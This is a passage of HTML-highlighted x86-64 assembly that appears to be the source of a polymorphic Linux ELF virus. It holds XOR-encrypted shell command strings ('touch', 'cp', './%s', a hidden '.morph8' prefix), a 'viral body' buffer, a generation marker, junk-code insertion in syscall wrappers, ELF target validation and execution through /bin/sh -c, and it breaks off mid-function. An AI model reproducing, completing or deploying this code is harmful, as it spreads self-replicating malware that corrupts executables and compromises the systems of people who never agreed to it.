&lt;span class="nf"&gt;touc&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xDE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;                         &lt;span class="c1"&gt;; "touch %s"&lt;/span&gt;
&lt;span class="nf"&gt;cpcm&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;                         &lt;span class="c1"&gt;; "cp %s %s"&lt;/span&gt;
&lt;span class="nf"&gt;hidd&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x07&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;                               &lt;span class="c1"&gt;; ".morph8"&lt;/span&gt;
&lt;span class="nf"&gt;exec&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x1D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt;                                                 &lt;span class="c1"&gt;; "./%s"&lt;/span&gt;
&lt;span class="nf"&gt;vxxe&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x88&lt;/span&gt;                                                       &lt;span class="c1"&gt;; "vxx"&lt;/span&gt;

&lt;span class="nf"&gt;xor_keys&lt;/span&gt;            &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;
&lt;span class="nf"&gt;vierge_val&lt;/span&gt;          &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                                                                           &lt;span class="c1"&gt;; first generation marker&lt;/span&gt;
&lt;span class="nf"&gt;signme&lt;/span&gt;              &lt;span class="nv"&gt;dd&lt;/span&gt; &lt;span class="mh"&gt;0xF00C0DE&lt;/span&gt;                                                                   &lt;span class="c1"&gt;; PRNG seed&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.bss&lt;/span&gt;
    &lt;span class="nf"&gt;code&lt;/span&gt;            &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;      &lt;span class="c1"&gt;; viral body&lt;/span&gt;
    &lt;span class="nf"&gt;codelen&lt;/span&gt;         &lt;span class="nv"&gt;resq&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;vierge&lt;/span&gt;          &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;          &lt;span class="c1"&gt;; generation flag&lt;/span&gt;
    &lt;span class="nf"&gt;dir_buf&lt;/span&gt;         &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;temp_buf&lt;/span&gt;        &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
    &lt;span class="nf"&gt;elf_header&lt;/span&gt;      &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;

&lt;span class="c1"&gt;; runtime decrypted strings&lt;/span&gt;
&lt;span class="nf"&gt;touch_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;chmod_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;touch_chmod_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;exec_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;    &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;cp_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;      &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;vxx_str&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;         &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nf"&gt;hidden_prefix&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;
    &lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;_start&lt;/span&gt;

&lt;span class="cp"&gt;%define SYS_read      0
%define SYS_write     1
%define SYS_open      2
%define SYS_close     3
%define SYS_exit      60
%define SYS_lseek     8
%define SYS_getdents64 217
%define SYS_access    21
%define SYS_getrandom 318
%define SYS_execve    59
%define SYS_fstat     5
%define SYS_mmap      9
%define SYS_brk       12
%define SYS_fork      57
%define SYS_wait4     61

%define F_OK 0
%define X_OK 1
%define W_OK 2

%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR   2
%define O_CREAT  64
%define O_TRUNC  512

%define PROT_READ  1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.rodata&lt;/span&gt;
    &lt;span class="nf"&gt;shell_path&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sh&lt;/span&gt;&lt;span class="s"&gt;",0
    sh_arg0 db "&lt;/span&gt;&lt;span class="nv"&gt;sh&lt;/span&gt;&lt;span class="s"&gt;",0
    sh_arg1 db "&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;c&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;; syscall wrappers with junk insertion&lt;/span&gt;

&lt;span class="nl"&gt;sys_write:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_read:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_read&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_open:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_close:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_lseek:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_lseek&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_access:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_access&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_getdents64:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_getdents64&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_exit:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_exit&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;

&lt;span class="c1"&gt;; validate ELF executable target&lt;/span&gt;
&lt;span class="nl"&gt;is_elf:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;O_RDONLY&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_open&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;js&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;elf_header&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_read&lt;/span&gt;

    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;call&lt;/span&gt; &lt;span class="nv"&gt;sys_close&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
    &lt;span class="nf"&gt;jl&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; validate ELF magic&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;elf_header&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;dword&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mh"&gt;0x464C457F&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; 64-bit only&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

    &lt;span class="c1"&gt;; executable or shared object&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.valid&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;ax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_elf&lt;/span&gt;

&lt;span class="nl"&gt;.valid:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;

&lt;span class="nl"&gt;.not_elf:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;

&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r13&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nv"&gt;r12&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="c1"&gt;; string utilities&lt;/span&gt;

&lt;span class="nl"&gt;basename:&lt;/span&gt;                           &lt;span class="c1"&gt;; extract filename from path&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nl"&gt;.find_last_slash:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'/'&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.next_char&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.find_last_slash&lt;/span&gt;
&lt;span class="nl"&gt;.next_char:&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.find_last_slash&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strlen:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
&lt;span class="nl"&gt;.strlen_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;je&lt;/span&gt; &lt;span class="nv"&gt;.strlen_done&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.strlen_loop&lt;/span&gt;
&lt;span class="nl"&gt;.strlen_done:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rcx&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strcpy:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
&lt;span class="nl"&gt;.cp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.cp_loop&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strcmp:&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;push&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
&lt;span class="nl"&gt;.cmp_loop:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;cmp&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;jne&lt;/span&gt; &lt;span class="nv"&gt;.not_equal&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.equal&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;inc&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.cmp_loop&lt;/span&gt;
&lt;span class="nl"&gt;.equal:&lt;/span&gt;
    &lt;span class="nf"&gt;xor&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;
    &lt;span class="nf"&gt;jmp&lt;/span&gt; &lt;span class="nv"&gt;.done&lt;/span&gt;
&lt;span class="nl"&gt;.not_equal:&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;movzx&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bl&lt;/span&gt;
    &lt;span class="nf"&gt;sub&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rbx&lt;/span&gt;
&lt;span class="nl"&gt;.done:&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;
    &lt;span class="nf"&gt;pop&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;strstr:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rdi&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;rsi&lt;/span&gt;

    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="nf"&gt;test&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;al&lt;/span&gt;
    &lt;span class="nf"&gt;jz&lt;/span&gt; &lt;span class="nv"&gt;.found&lt;/span&gt;

&lt;span class="nl"&gt;.scan:&lt;/span&gt;
